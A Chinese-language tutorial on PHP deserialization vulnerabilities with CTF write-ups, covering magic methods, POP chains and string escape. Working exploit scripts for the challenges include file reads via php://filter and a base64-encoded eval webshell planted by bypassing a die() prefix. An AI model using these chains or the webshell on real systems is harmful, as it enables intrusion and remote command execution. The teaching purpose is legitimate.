关于PHP序列化与反序列化 什么是PHP序列化与反序列化 1 2 serialize () unserialize ()
序列化与反序列化方便了对象数据的传递,但是攻击者可以通过构造序列化字符串以控制反序列化,形成反序列化攻击:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php highlight_file (__FILE__ );class sunset { public $flag ='flag{asdadasd}' ; public $name ='makabaka' ; public $age ='18' ; } $ctfer =new sunset (); echo serialize ($ctfer );?>
O代表对象,这里是序列化的一个对象,要序列化数组的就用A
6表示的是类的长度
sunset表示对是类名
3表示类里面有3个属性也称为变量
s表示字符串的长度这里的flag表示属性
比如s:4:"flag"
这里表示的是 flag属性名(变量名)为4个字符串长度 字符串 属性长度 属性值
而反序列化就是将序列化后的字符串重新反序列化为一个对象。
关于PHP中public、protected、private public public修饰的属性和方法可以在任何地方被访问,包括类的内部、子类和外部代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class Person { public $name ; public function sayHello ( ) { echo "Hello!" ; } } $person = new Person ();echo $person ->name; $person ->sayHello (); ?>
protected protected修饰的属性和方法只能在当前类及其子类中被访问,外部的代码访问不了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );class Person { protected $name ; protected function sayHello ( ) { echo "Hello!" ; } } class Student extends Person { public function showName ( ) { echo $this ->name; $this ->sayHello (); } } $student = new Student (); $student ->showName (); echo $student ->name; $student ->sayHello (); ?>
private private修饰的属性和方法只能在当前类中被访问,子类和外部代码不能访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php highlight_file (__FILE__ );class Person { private $name ; private function sayHello ( ) { echo "Hello!" ; } } class Student extends Person { public function showName ( ) { echo $this ->name; $this ->sayHello (); } } $person = new Person (); echo $person ->name; $person ->sayHello (); ?>
关于绕过protected、private 最有效的方法是将序列化字符串进行url编码,也可以在序列化属性前加上%00.
魔术方法 1 2 3 4 5 6 7 8 9 __construct()//创建对象时触发 __destruct() //对象被销毁时触发 __call() //在对象上下文中调用不可访问的方法时触发 __callStatic() //在静态上下文中调用不可访问的方法时触发 __get() //用于从不可访问的属性读取数据 __set() //用于将数据写入不可访问的属性 __isset() //在不可访问的属性上调用isset()或empty()触发 __unset() //在不可访问的属性上使用unset()时触发 __invoke() //当脚本尝试将对象调用为函数时触发
__sleep() __sleep()
方法是 PHP 中的一个魔术方法(magic method),用于在对象被序列化(serialized)时触发。在这个方法中,你可以指定哪些属性需要被序列化,哪些属性不需要被序列化。
具体来说,当调用 serialize()
函数将一个对象序列化时,PHP 会先自动调用对象的 __sleep()
方法,该方法需要返回一个数组,包含需要被序列化的属性名。然后 PHP 会将这些属性序列化成字符串。
假设有一个 User
类,它有一个私有属性 $password
,你不希望在序列化对象时将密码属性暴露出来。那么你可以在 User
类中实现 __sleep()
方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );class User { private $username ; private $password ; public function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } public function __sleep ( ) { return array ('username' ); } } $user = new User ('john' , '123456' );$serialized = serialize ($user );echo $serialized ;
__wakeup() unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源 而wakeup()
用于在从字符串反序列化为对象时自动调用。一个 PHP 对象被序列化成字符串并存储在文件、数据库或者通过网络传输时,我们可以使用 unserialize()
函数将其反序列化为一个 PHP 对象。在这个过程中,PHP 会自动调用该对象的 __wakeup()
方法,对其进行初始化。
__wakeup()
方法的作用是对一个对象进行一些必要的初始化操作。例如,如果一个对象中包含了一些需要进行身份验证的属性,那么在从字符串反序列化为对象时,就可以在 __wakeup()
方法中进行身份验证。或者如果一个对象中包含了一些需要在每次初始化时计算的属性,也可以在 __wakeup()
方法中进行计算.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php highlight_file (__FILE__ );class User { private $username ; private $password ; public function __construct ($username , $password ) { $this ->username = $username ; $this ->password = $password ; } public function __sleep ( ) { return array ('username' , 'password' ); } public function __wakeup ( ) { if (!$this ->authenticate ()) { throw new Exception ("Authentication failed" ); } } private function authenticate ( ) { } } $user = new User ('john' , '123456' );$serialized = serialize ($user );$unserialized = unserialize ($serialized );
在上面的示例中User
类实现了 __sleep()
和 __wakeup()
方法。__sleep()
方法返回了一个包含 username
和 password
属性名的数组,表示只有这两个属性需要被序列化。__wakeup()
方法会调用 authenticate()
方法进行身份验证。如果身份验证失败,则会抛出一个异常。
绕过 漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
漏洞产生原因:
如果存在__wakeup方法,调用 unserilize() 方法前则先调用__wakeup方法,但是序列化字符串中表示对象属性个数的值大于 真实的属性个数时会跳过__wakeup的执行。
__toString() __toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php highlight_file (__FILE__ );class Person { public $name ; public $age ; public function __construct ($name , $age ) { $this ->name = $name ; $this ->age = $age ; $this -> info=sprintf ("name:%s,age:%s" ,$this ->name,$this ->age); } public function __toString ( ) { return $this ->info; } } $person = new Person ("John" , 30 );echo '__toString:' .$person .'<br>' ; ?>
__destruct() __destruct
方法是 PHP 中的一个特殊方法,用于在对象实例被销毁时自动调用。该方法通常用于清理对象所占用的资源,例如关闭数据库连接、释放文件句柄等。
魔术方法运行的先后顺序 __construct()和__destruct()
construct
:当对象创建时会被调用,是在new对象时才调用,unserialize
时不对被自动调用
destruct()
: 当对象被销毁时自动调用,有新的对象创建 之后会自动销毁 相当于调用了__construct
后一定会调用__destruct
现在传入一个对象,他后面被销毁时会调用 destruct
__seelp()
和__wakeup()
__seelp()
在对象被序列化之前调用
__wakeup()
在对象被反序列化之前调用
__toString()
__toString作为pop链关键的一步,很容易被调用。当对象被当作字符串的时候,__toString()
会被调用,不管对象有没有被打印出来,在对象被操作的时候,对象在和其他的字符串做比较的时候也会被调用。
echo($obj)或print($obj)打印对象 时会触发
反序列化对象 与字符串连接时
反序列化对象 参与格式化字符串时
反序列化对象 与字符串 进行**==比较时(多为 preg_match正则匹配**),因为php进行弱比较时会转换参数类型,相当于都转换成字符串进行比较
反序列化对象 参与格式化sql语句时,绑定参数时(用的少)
反序列化对象 经过php字符串函数时,如strlen(),addslashes()时(用的少)
在in_array()方法中,第一个参数是反序列化对象 ,第二个参数的数组中有tostring返回的字符串的时候tostring会被调用
反序列化的对象 作为class_exists()的参数的时候(用的少)
__invoke()
__invoke
:当尝试以调用函数 的方式调用一个对象 时,__invoke()
方法会被自动调用,而调用函数的方式就是在后面加上()
,当我们看到像return $function();
这种语句时,就应该意识到后面可能会调用__invoke()
,下图是直接在对象后面加()
调用这个魔术方法只在PHP 5.3.0 及以上版本有效)
__get()和__set()
__get()
:从不可访问的属性中 读取数据,或者说是调用一个类及其父类方法中未定义属性时
__set()
:当给一个未定义的属性赋值时,或者修改一个不能被修改的属性时(private protected
)(用的不多)
__call()
和__callStatic()
__call
:在对象中调用类中不存在的方法时,或者是不可访问方法时被调用
__callStatic
:在静态上下文中调用一个不可访问静态方法时被调用
其他魔术方法 1 2 3 4 5 6 7 __isset():当对不可访问属性调用isset()或empty()时调用 __unset():当对不可访问属性调用unset()时被调用。 __set_state():调用var_export()导出类时,此静态方法会被调用。 __clone():当对象复制完成时调用 __autoload():尝试加载未定义的类 __debugInfo():打印所需调试信息
POP链 利用现有的环境,找到一系列的代码或者调用指令,然后构造成一组连续的调用链,然后进行攻击。任何一条链子的构造,我们都要先找到它的头和尾,pop链也不例外,pop链的头部一般是用户能传入参数的地方,而尾部是可以执行我们操作的地方,比如说读写文件,执行命令等等;找到头尾之后,从尾部(我们执行操作的地方)开始,看它在哪个方法中,怎么样可以调用它,一层一层往上倒推,直到推到头部为止,也就是我们传参的地方,一条pop链子就出来了;在ctf中,头部一般都会是GET或者POST传参,然后可能就有一个unserialize
直接将我们传入的参数反序列化了,尾部都是拿flag的地方;然后一环连着一环构成pop链.
普通pop shctf2023 ez_serialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php highlight_file (__FILE__ );class A { public $var_1 ; public function __invoke ( ) { include ($this ->var_1); } } class B { public $q ; public function __wakeup ( )//反序列化之前调用 { if (preg_match ("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->q)) { echo "hacker" ; } } } class C { public $var ; public $z ; public function __toString ( ) { return $this ->z->var ; } } class D { public $p ; public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['payload' ])){ unserialize ($_GET ['payload' ]); } ?
很显然,这条链子头部是B::__wakeup
,尾部是A::__invoke
,通过__invoke函数,可以利用php伪协议进行任意文件读取,exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php highlight_file (__FILE__ );class A { public $var_1 ="php://filter/convert.base64-encode/resource=flag.php" ; public function __construct ( ) { $var_1 ="php://filter/convert.base64-encode/resource=flag.php" ; } } class B { public $q ; public function __construct ( ) { $this ->q=new C; } } class C { public $var ; public $z ; public function __construct ( ) { $this ->z=new D; } } class D { public $p ; public function __construct ( ) { $this ->p=new A; } } $a =new B;echo serialize ($a );
反序列化字符串逃逸 关于反序列化字符串逃逸 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php $a =array ('name' =>'bob' ,'pwd' =>'123456' );$sa =serialize ($a );echo "$sa <br>" ;$d ='a:2:{s:4:"name";s:50:"boooooooooooooooooooooooob";s:3:"pwd";s:4:"hack";}";s:3:"pwd";s:6:"123456";}' ;$dd =preg_replace ('/o/' ,'oo' ,$d );$usdd =unserialize ($dd );echo $dd ."<br>" ;var_dump ($usdd );$c ='a:2:{s:4:"name";s:28:"flagflagflagflagflagflagflag";s:3:"pwd";s:6:"12345678";}";s:3:"pwd";s:4:"hack";}' ;$cc =preg_replace ('/flag/' ,'' ,$c );$uscc =unserialize ($cc );var_dump ($uscc );
moectf2023 夺命十三枪 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php highlight_file (__FILE__ );require_once ('Hanxin.exe.php' );$Chant = isset ($_GET ['chant' ]) ? $_GET ['chant' ] : '夺命十三枪' ;$new_visitor = new Omg_It_Is_So_Cool_Bring_Me_My_Flag ($Chant );$before = serialize ($new_visitor );$after = Deadly_Thirteen_Spears ::Make_a_Move ($before );echo 'Your Movements: ' . $after . '<br>' ;try { echo unserialize ($after ); }catch (Exception $e ) { echo "Even Caused A Glitch..." ; } ?> Your Movements: O:34 :"Omg_It_Is_So_Cool_Bring_Me_My_Flag" :2 :{s:5 :"Chant" ;s:15 :"夺命十三枪" ;s:11 :"Spear_Owner" ;s:6 :"Nobody" ;} Far away from COOL...
包含文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 <?php if (basename ($_SERVER ['SCRIPT_FILENAME' ]) === basename (__FILE__ )) { highlight_file (__FILE__ ); } class Deadly_Thirteen_Spears { private static $Top_Secret_Long_Spear_Techniques_Manual = array ( "di_yi_qiang" => "Lovesickness" , "di_er_qiang" => "Heartbreak" , "di_san_qiang" => "Blind_Dragon" , "di_si_qiang" => "Romantic_charm" , "di_wu_qiang" => "Peerless" , "di_liu_qiang" => "White_Dragon" , "di_qi_qiang" => "Penetrating_Gaze" , "di_ba_qiang" => "Kunpeng" , "di_jiu_qiang" => "Night_Parade_of_a_Hundred_Ghosts" , "di_shi_qiang" => "Overlord" , "di_shi_yi_qiang" => "Letting_Go" , "di_shi_er_qiang" => "Decisive_Victory" , "di_shi_san_qiang" => "Unrepentant_Lethality" ); public static function Make_a_Move ($move ) { foreach (self ::$Top_Secret_Long_Spear_Techniques_Manual as $index => $movement ){ $move = str_replace ($index , $movement , $move ); } return $move ; } } class Omg_It_Is_So_Cool_Bring_Me_My_Flag { public $Chant = '' ; public $Spear_Owner = 'Nobody' ; function __construct ($chant ) { $this ->Chant = $chant ; $this ->Spear_Owner = 'Nobody' ; } function __toString ( ) { if ($this ->Spear_Owner !== 'MaoLei' ){ return 'Far away from COOL...' ; } else { return "Omg You're So COOOOOL!!! " . getenv ('FLAG' ); } } } ?>
外部文件作用是接收传入的值,然后将其传入内部文件,若内部文件处理后的值可以被反序列化,则输出反序列化结果否则输出Even Caused A Glitch…,所以关键在于内部文件,通过分析代码,当Spear_Owner = 'MaoLei'
时才会输入flag,第一个类中出现了危险函数str_replace
,这时候就想到了字符逃逸,我们传入的chant需要将";s:11:"Spear_Owner";s:6:"MaoLei";}
逃逸,";s:11:"Spear_Owner";s:6:"MaoLei";}
一共35个字符,在第一个类中,"di_qi_qiang" => "Penetrating_Gaze"
替换后,可以顶出5个字符,也就是可以逃逸5个字符,那么需要7个di_qi_qiang
就能实现逃逸,payload:?chant=di_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiangdi_qi_qiang";s:11:"Spear_Owner";s:6:"MaoLei";}
死亡函数绕过 在一些题目中,会出现将特定死亡函数字符串与可修改字符串拼接的情况,由于base64在解码时,是4个字符为一组,这时候就可以在拼接时向特定字符串加入字符,此时将前面的死亡函数的字符串解码为乱码,而自己的字符串则解析为木马。
shctf2023 sseerriiaalliizzee 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php error_reporting (0 );highlight_file (__FILE__ );class Start { public $barking ; public function __construct ( ) { $this ->barking = new Flag ; } public function __toString ( ) { return $this ->barking->dosomething (); } } class CTF { public $part1 ; public $part2 ; public function __construct ($part1 ='' ,$part2 ='' ) { $this -> part1 = $part1 ; $this -> part2 = $part2 ; } public function dosomething ( ) { $useless = '<?php die("+Genshin Impact Start!+");?>' ; $useful = $useless . $this ->part2; file_put_contents ($this -> part1,$useful ); } } class Flag { public function dosomething ( ) { include ('./flag,php' ); return "barking for fun!" ; } } $code =$_POST ['code' ]; if (isset ($code )){ echo unserialize ($code ); } else { echo "no way, fuck off" ; } ?> no way, fuck off
题目的链子很简单,Start::__toString
->CTF::dosomething
,原因:在Start调用__construct方法后,$this->barking会连接到Flag,但Flag会触发__toString
,这样$this->barking会重新连接到CTF,因此我们可以省去中间$this->barking多余的操作(因为Flag类中没有属性),直接让其触发CTF::dosomething
,那么这里死亡函数<?php die("+Genshin Impact Start!+");?>
字符除去base64不会解码的还有26个,所以我们拼接两个字符让其乱码。exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php error_reporting (0 );highlight_file (__FILE__ );class Start { public $barking ; public function __construct ( ) { $this ->barking = new CTf ("php://filter/convert.base64-decode/resource=2.php" ,"ddPD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==" ); } } class CTF { public $part1 ; public $part2 ; public function __construct ($part1 ='' ,$part2 ='' ) { $this -> part1 = $part1 ; $this -> part2 = $part2 ; } public function dosomething ( ) { $useless = '<?php die("+Genshin Impact Start!+");?>' ; $useful = $useless . $this ->part2; file_put_contents ($this -> part1,$useful ); } } $a =new Start ;echo serialize ($a );?>
由于我们上传的一句话木马参数为cmd,所以直接蚁剑或访问2.php,post传参命令执行即可
提前赋值,引用绕过 shctf2023 serialize 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php highlight_file (__FILE__ );class misca { public $gao ; public $fei ; public $a ; public function __get ($key ) { $this ->miaomiao (); $this ->gao=$this ->fei; die ($this ->a); } public function miaomiao ( ) { $this ->a='Mikey Mouse~' ; } } class musca { public $ding ; public $dong ; public function __wakeup ( ) { return $this ->ding->dong; } } class milaoshu { public $v ; public function __tostring ( ) { echo "misca~musca~milaoshu~~~" ; include ($this ->v); } } function check ($data ) { if (preg_match ('/^O:\d+/' ,$data )){ die ("you should think harder!" ); } else return $data ; } unserialize (check ($_GET ["wanna_fl.ag" ]))
这里链子比较简单,关键在于$this->gao=$this->fei;
,由于$this->miaomiao();
将a提前赋值,我们可以用gao去取到a的引用,fei去连接下一个链子,由于gao、fei相等,gao为a的引用,相当于就是a去连接了下一个链子,exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class musca { public $ding ; public $dong ; public function __construct ( ) { $this ->ding=new misca; } } class misca { public $gao ; public $fei ; public $a ; public function __construct ( ) { $this ->fei=new milaoshu; $this ->gao=&$this ->a; } } class milaoshu { public $v ='php://filter/convert.base64-encode/resource=flag.php' ; } $a =new musca;echo serialize (array ($a ));?>